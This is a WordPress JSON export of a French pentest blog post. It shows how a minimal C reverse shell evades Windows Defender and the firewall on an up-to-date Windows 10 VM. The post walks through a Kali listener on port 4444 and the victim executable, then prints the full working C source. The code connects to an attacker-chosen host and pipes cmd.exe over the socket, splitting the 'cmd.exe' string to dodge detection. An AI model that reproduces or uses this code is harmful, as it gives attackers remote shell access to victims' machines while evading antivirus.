{"id":398,"date":"2018-08-30T14:35:03","date_gmt":"2018-08-30T12:35:03","guid":{"rendered":"http:\/\/pentester.blog\/?p=398"},"modified":"2020-05-21T19:51:03","modified_gmt":"2020-05-21T17:51:03","slug":"reverse-shell-qui-passe-a-travers-windows-defender-sous-windows-10","status":"publish","type":"post","link":"https:\/\/hacktarus.fr\/?p=398","title":{"rendered":"Un reverse shell qui passe sous les radars de Windows Defender (Windows 10)"},"content":{"rendered":"<p>Un jour je me suis demand\u00e9 s&rsquo;il \u00e9tait facile ou pas de concevoir un petit reverse shell (la base des trojans) pour Windows qui ne serait pas d\u00e9tect\u00e9 par Windows Defender et le pare-feu de Microsoft.<\/p>\n<p>Contre toute attente \ud83d\ude42 ce fut fort simple !<\/p>\n<p>Un petit code en C qui ne fait que le minimum vital suffit \u00e0 passer \u00e0 travers Windows Defender, la preuve en vid\u00e9o puis en images ;<\/p>\n<p>Vid\u00e9o de d\u00e9monstration :<\/p>\n<div style=\"width: 660px;\" class=\"wp-video\"><video class=\"wp-video-shortcode\" id=\"video-398-1\" width=\"660\" height=\"450\" preload=\"metadata\" controls=\"controls\"><source type=\"video\/mp4\" src=\"http:\/\/hacktarus.fr\/wp-content\/uploads\/2018\/08\/ReverseShellBypassDefender.mp4?_=1\" \/><a href=\"http:\/\/hacktarus.fr\/wp-content\/uploads\/2018\/08\/ReverseShellBypassDefender.mp4\">http:\/\/hacktarus.fr\/wp-content\/uploads\/2018\/08\/ReverseShellBypassDefender.mp4<\/a><\/video><\/div>\n<p>Je commence par lancer Kali, voir son ip et lancer un listener sur le port tcp 4444 :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-400\" src=\"http:\/\/hacktarus.fr\/wp-content\/uploads\/2018\/08\/defender-kali-ip.png\" alt=\"\" width=\"721\" height=\"117\" \/> <img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-401\" src=\"http:\/\/hacktarus.fr\/wp-content\/uploads\/2018\/08\/defender-kali-server-listen.png\" alt=\"\" width=\"734\" height=\"150\" \/><\/p>\n<p>La victime maintenant, une VM sous Windows 10 compl\u00e8tement \u00e0 jour (30\/08\/2018)\u00a0 avec Windows Defender activ\u00e9 ainsi que le pare-feu de Microsoft :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-406\" src=\"http:\/\/hacktarus.fr\/wp-content\/uploads\/2018\/08\/defender-victim-uptodate.png\" alt=\"\" width=\"784\" height=\"555\" \/><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-404\" src=\"http:\/\/hacktarus.fr\/wp-content\/uploads\/2018\/08\/defender-victim-firewall-on.png\" alt=\"\" width=\"878\" height=\"532\" \/><\/p>\n<p>Sous Windows 10, j&rsquo;ouvre l&rsquo;invite de commandes et comme pour simuler le click sur un trojan, je lance le reverse shell (ici Projet1.exe) en donnant comme IP celle du Kali :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-405\" src=\"http:\/\/hacktarus.fr\/wp-content\/uploads\/2018\/08\/defender-victim-reverse-shell.png\" alt=\"\" width=\"619\" height=\"180\" \/><\/p>\n<p>Et voila, de retour sur Kali, j&rsquo;ai bien un shell \u00e0 distance sur la victime, Windows Defender n\u2019a rien vu d\u2019anormal :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-402\" src=\"http:\/\/hacktarus.fr\/wp-content\/uploads\/2018\/08\/defender-kali-shell-cmd.png\" alt=\"\" width=\"658\" height=\"481\" \/><\/p>\n<p>C\u00f4t\u00e9 Windows 10 le programme Projet1.exe est termin\u00e9 mais son process enfant est bien pr\u00e9sent en m\u00e9moire, visible avec tcpview (ligne en bleue) :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-403\" src=\"http:\/\/hacktarus.fr\/wp-content\/uploads\/2018\/08\/defender-tcpview.png\" alt=\"\" width=\"1008\" height=\"325\" \/><\/p>\n<p>Voici le code source en C de ce petit reverse shell. franchement il n&rsquo;y a rien de sorcier, inqui\u00e9tant non ?<\/p>\n<pre>#include &lt;winsock2.h&gt;\r\n#include &lt;stdio.h&gt;\r\n\r\nWSADATA wsaData;\r\nSOCKET Winsock;\r\nSOCKET Sock;\r\nstruct sockaddr_in hax;\r\nchar aip_addr[16];\r\nSTARTUPINFO ini_processo;\r\nPROCESS_INFORMATION processo_info;\r\n  \r\n\r\nint main(int argc, char *argv[]) \r\n{\r\n\tWSAStartup(MAKEWORD(2,2), &amp;wsaData);\r\n\tWinsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);\r\n    \r\n    \tif (argv[1] == NULL){\r\n\t\texit(1);\r\n\t}\r\n\r\n    \tstruct hostent *host;\r\n\thost = gethostbyname(argv[1]);\r\n\tstrcpy(aip_addr, inet_ntoa(*((struct in_addr *)host-&gt;h_addr)));\r\n    \r\n\thax.sin_family = AF_INET;\r\n\thax.sin_port = htons(atoi(argv[2]));\r\n\thax.sin_addr.s_addr =inet_addr(aip_addr);\r\n    \r\n\tWSAConnect(Winsock,(SOCKADDR*)&amp;hax, sizeof(hax),NULL,NULL,NULL,NULL);\r\n\tif (WSAGetLastError() == 0) {\r\n\r\n\t\tmemset(&amp;ini_processo, 0, sizeof(ini_processo));\r\n\r\n\t\tini_processo.cb=sizeof(ini_processo);\r\n\t\tini_processo.dwFlags=STARTF_USESTDHANDLES;\r\n\t\tini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;\r\n\r\n\t\tchar *myArray[4] = { \"cm\", \"d.e\", \"x\", \"e\" };\r\n\t\tchar command[8] = \"\";\r\n\t\tsnprintf( command, sizeof(command), \"%s%s%s%s\", myArray[0], myArray[1], myArray[2], myArray[3]);\r\n\r\n\t\tCreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &amp;ini_processo, &amp;processo_info);\r\n\t\texit(0);\r\n\t} else {\r\n\t\texit(0);\r\n\t}    \r\n}\r\n<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>Un jour je me suis demand\u00e9 s&rsquo;il \u00e9tait facile ou pas de concevoir un petit reverse shell (la base des trojans) pour Windows qui ne serait pas d\u00e9tect\u00e9 par Windows Defender et le pare-feu de Microsoft. Contre toute attente \ud83d\ude42 ce fut fort simple ! Un petit code en C qui ne fait que le &hellip; <a href=\"https:\/\/hacktarus.fr\/?p=398\" class=\"more-link\">Continuer la lecture de <span class=\"screen-reader-text\">Un reverse shell qui passe sous les radars de Windows Defender (Windows 10)<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"class_list":["post-398","post","type-post","status-publish","format-standard","hentry","category-pentest"],"_links":{"self":[{"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/posts\/398","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=398"}],"version-history":[{"count":10,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/posts\/398\/revisions"}],"predecessor-version":[{"id":431,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/posts\/398\/revisions\/431"}],"wp:attachment":[{"href":"https:\/\/hacktarus.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=398"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=398"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=398"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}